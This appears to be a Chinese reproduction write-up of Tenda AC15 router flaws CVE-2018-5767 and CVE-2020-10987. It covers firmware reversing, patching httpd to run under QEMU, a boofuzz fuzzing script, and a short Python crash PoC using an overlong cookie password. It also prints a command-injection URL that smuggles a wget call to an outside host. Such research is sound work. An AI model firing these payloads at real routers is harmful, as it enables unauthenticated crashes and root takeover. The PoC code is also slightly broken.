本文主要是介绍固件中的单个二进制模拟:Tenda AC15 路由器 CVE-2018-5767 / CVE-2020-10987 漏洞分析与复现,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
设备:Tenda AC15 路由器(可能包含其他系列路由器)
固件版本:<V15.03.05.18
测试固件:US_AC15V1.0BR_V15.03.1.16_multi_TD01.bin
0x10 漏洞分析
0x11 httpd 逆向
使用 binwalk
解压固件,打开文件系统 bin/httpd
,使用 IDA
分析
虽然该二进制已经 striped
,没有符号表,但是仍然能够看到部分函数名,这些名称往往是外部库函数或者是开源代码。如上所示,从这些函数名称可以推断 httpd
使用了 GoAhead
从字符串信息可以进一步推断组件版本信息,2.1.8
。找到类似版本 goahead
代码,笔者从 github
上找到了一个大版本接近的源码 2.5。由于 goahead
使用了大量回调,仅仅是从反编译的代码,很难看出处理数据的流程函数。所以,从源码中,简单分析一下处理数据的流程
websUrlHandlerDefine
负责注册各个具体的处理函数,将各个 handlers
放入一个数组中
经过层层回溯,找到最终调用各个处理函数的地方(websUrlHandlerRequest
)
也就是说,goahead
会根据不同的 url
来决定由哪个函数进行 http
报文的处理。
wp
是真正传入的待处理数据,是一个结构体,此结构体至关重要,IDA
只是会把结构体识别成数组,因此反编译代码中,往往找不到各个元素的定义。我们需要将相关结构体添加到 IDA
中
IDA中导入C语言声明的结构体
在 View–>Open Subviews–>Local Types 中可以看到本地已有的结构体,右击 insert.可以添加 C 语言声明的结构体
对于 AC15 httpd
,进一步分析 wp
入参的定义,添加以下两个结构体
struct ringq_t{unsigned char *buf; /* Holding buffer for data */unsigned char *servp; /* Pointer to start of data */unsigned char *endp; /* Pointer to end of data */unsigned char *endbuf; /* Pointer to end of buffer */int buflen; /* Length of ring queue */int maxsize; /* Maximum size */int increment; /* Growth increment */
}
struct websRec {ringq_t header; /* Header dynamic string */__time_t since; /* Parsed if-modified-since time */char* cgiVars; /* CGI standard variables */char* cgiQuery; /* CGI decoded query string */__time_t timestamp; /* Last transaction with browser */int timeout; /* Timeout handle */char ipaddr[32]; /* Connecting ipaddress */char type[64]; /* Mime type */char *dir; /* Directory containing the page */char *path; /* Path name without query */char *url; /* Full request url */char *host; /* Requested host */char *lpath; /* Cache local path name */char *query; /* Request query */char *decodedQuery; /* Decoded request query */char *authType; /* Authorization type (Basic/DAA) */char *password; /* Authorization password */char *userName; /* Authorization username */char *cookie; /* Cookie string */char *userAgent; /* User agent (browser) */char *protocol; /* Protocol (normally HTTP) */char *protoVersion; /* Protocol version */int sid; /* Socket id (handler) */int listenSid; /* Listen Socket id */int port; /* Request port number */int state; /* Current state */int flags; /* Current flags -- see above */int code; /* Request result code */int clen; /* Content length */int wid; /* Index into webs */char *cgiStdin; /* filename for CGI stdin */int docfd; /* Document file descriptor */int numbytes; /* Bytes to transfer to browser */int written; /* Bytes actually transferred */void (*writeSocket)(struct websRec *wp);
}
0x12 CVE-2018-5767 栈溢出
在 sub_2D3F0
函数中,也发现类似的回调函数注册,只是这里,有一个不同寻常的函数 R7WebsSecurityHandler
,应该是路由器开发人员自己实现的一个函数
找到此函数定义,并将入参 1 修改为结构体 websRec
sscanf
会从 cookie
字段读取 password
的值,复制到局部变量 v35
,从而导致栈溢出。
0x13 CVE-2020-10987 远程命令执行
这个漏洞存在多个系列路由器中,包括但不限于以下型号腾达路由器,以及各个型号所有已发布的固件版本都受该漏洞影响,经过验证和分析,该安全问题影响腾达路由器的最新版本固件。
- AC 6
- AC 7
- AC 8
- AC 9
- AC 11
- AC 15
腾达(Tenda) AC 提供Web服务组件中的goform插件存在一个设计缺陷,权限验证不严格,可在未登陆验证的情况下发送特定的数据包成功利用此问题,触发任意命令执行,进而控制路由器设备,Web服务为root权限启动,获取到腾达路由器的最高权限。
这个漏洞在笔者下载的目标固件中,并不存在,所以没有进一步分析,其实漏洞也是比较简单的,命令执行的路径为
http://x.x.x.x/goform/setUsbUnload/?deviceName=;%20wget%20http://dnslog
结合目标目标二进制的反编译程序,就知道了,分析步骤还是类似的。
0x20 搭建目标进程仿真环境
0x21 绕过判断条件
解压固件,尝试运行 httpd
,会卡在如下界面
┌──(lys㉿kali)-[~/…/IoT/firmware/_AC15.bin.extracted/squashfs-root]
└─$ qemu-arm -L ./ ./bin/httpd
init_core_dump 1784: rlim_cur = 0, rlim_max = -1
init_core_dump 1794: open core dump success
sh: 1: cannot create /proc/sys/kernel/core_pattern: Permission denied
init_core_dump 1803: rlim_cur = 5120, rlim_max = 5120Yes:****** WeLoveLinux****** Welcome to ...
分析 httpd
的反编译代码,在函数入口处发现调用了 check_network
外部函数,该函数如果返回值为 0,则一直处于睡眠状态
比较快捷的方式就是修改 httpd
对应的汇编代码,直接绕过该判断条件
一个很好用的在线汇编和反汇编器
此时再次运行,目标进程有了新的进展
┌──(lys㉿kali)-[~/…/IoT/firmware/_AC15.bin.extracted/squashfs-root]
└─$ qemu-arm -L ./ ./bin/httpd 1 ⚙
init_core_dump 1784: rlim_cur = 0, rlim_max = -1
init_core_dump 1794: open core dump success
sh: 1: cannot create /proc/sys/kernel/core_pattern: Permission denied
init_core_dump 1803: rlim_cur = 5120, rlim_max = 5120Yes:****** WeLoveLinux****** Welcome to ...
connect: No such file or directory
Connect to server failed.
connect cfm failed!
通过搜索关键字 connect cfm failed!
定位到相关代码,继续修改 httpd
再次运行 httpd
,发现得到的 IP
地址明显有问题
这里是因为没有获取到网卡信息,导致得到了一个随机的 IP 地址,也就是说,虽然该进程跑起来了,但是我们没有办法通过宿主机的网卡连接到 httpd
0x22 修复网卡配置信息
回到 check_network
函数,这是一个外部函数,定义在 libcommon.so
中
继续分析
int getLanIfName()
{return get_eth_name(0);
}
又发现一个外部函数 get_eth_name
,其定义在库 libChipApi.so
因此,路由器守护进程 httpd
想要获取的网卡名称是 “br0”。直接在宿主机上新建一个名为 “br0” 的网卡
sudo tunctl -t br0 -u lys
sudo ifconfig br0 192.168.10.1/24
此时运行 httpd
,即可发现该进程已经成功获取网卡的 IP
地址
0x30 漏洞发现与验证
0x31 协议 fuzz
boofuzz
是一个专门针对协议进行 fuzz
的工具,功能十分强大,但是缺乏相关文档。入门请参考:IoT 设备网络协议模糊测试工具boofuzz实战。根据相关报文,定制脚本如下
from boofuzz import *IP = "192.168.0.5"
PORT = 80def check_response(target, fuzz_data_logger, session, *args, **kwargs):fuzz_data_logger.log_info("Checking test case response...")try:response = target.recv(512)except:fuzz_data_logger.log_fail("Unable to connect to target. Closing...")target.close()return#if empty responseif not response:fuzz_data_logger.log_fail("Empty response, target may be hung. Closing...")target.close()return#remove everything after null terminator, and convert to string#response = response[:response.index(0)].decode('utf-8')fuzz_data_logger.log_info("response check...\n" + response.decode())target.close()returndef main():'''options = {"start_commands": ["sudo chroot /home/lys/Documents/IoT/firmware/_AC15_V15.03.1.16.bin.extracted/squashfs-root ./httpd"],"stop_commands": ["echo stopping"],"proc_name": ["/usr/bin/qemu-arm-static ./httpd"]}procmon = ProcessMonitor("127.0.0.1", 26002)procmon.set_options(**options)'''session = Session(target=Target(connection=SocketConnection(IP, PORT, proto="tcp"),# monitors=[procmon]),post_test_case_callbacks=[check_response],)s_initialize(name="Request")with s_block("Request-Line"):# Line 1s_group("Method", ["GET"])s_delim(" ", fuzzable=False, name="space-1-1")s_string("/goform/123", fuzzable=False) # fuzzable 1s_delim(" ", fuzzable=False, name="space-1-2")s_static("HTTP/1.1", name="HTTP_VERSION")s_static("\r\n", name="Request-Line-CRLF-1")# Line 2s_static("Host")s_delim(": ", fuzzable=False, name="space-2-1")s_string("192.168.0.5", fuzzable=False, name="IP address")s_static("\r\n", name="Request-Line-CRLF-2")# Line 3s_static("Connection")s_delim(": ", fuzzable=False, name="space-3-1")s_string("keep-alive", fuzzable=False, name="Connection state")s_static("\r\n", name="Request-Line-CRLF-3")# Line 4s_static("Cookie")s_delim(": ", fuzzable=False, name="space-4-1")s_string("bLanguage", fuzzable=False, name="key-bLanguage")s_delim("=", fuzzable=False)s_string("en", fuzzable=False, name="value-bLanguage")s_delim("; ", fuzzable=False)s_string("password", fuzzable=False, name="key-password")s_delim("=", fuzzable=False)s_string("ce24124987jfjekfjlasfdjmeiruw398r", fuzzable=True) # fuzzable 2s_static("\r\n", name="Request-Line-CRLF-4")# overs_static("\r\n")s_static("\r\n")session.connect(s_get("Request"))session.fuzz()if __name__ == "__main__":main()
目标进程崩溃
boofuzz
日志中能够看到相应的 crash
,说明该用例导致进程崩溃
0x32 POC
可以编写简单的脚本验证
import requestsip = 192.168.0.5
url = "http://%s/goform/execCommand"% ip
cookie = {"Cookir":"password=" + "A"*501}
ret = requests.get(url=url,cookies=cookie)
print ret.text
下一步:漏洞利用,栈溢出的利用相对来说还是比较简单的…
0x40 总结
对于传统路由器,单个二进制依赖程度不高,往往能够独立运行,在这种情况下,我们是有可能直接使用 qemu
将一些核心业务拉起来。本文就是利用这种方法,搭建了漏洞复现环境。在分析漏洞时,结合代码类比技术,利用开源代码,对二进制进行修复,这样能够让我们更加清楚整个漏洞形成的原因。
但是,这种复现环境的缺陷也是致命的:没有将整个核心业务跑起来,不知道具体业务场景,也就无法更好的定制化 Fuzz
。因此,这种方式更加适合漏洞复现,而不是漏洞发现,要想挖掘路由器的漏洞,最好的方式还是购买真实产品,或者进行系统级别的仿真。
这篇关于固件中的单个二进制模拟:Tenda AC15 路由器 CVE-2018-5767 / CVE-2020-10987 漏洞分析与复现的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!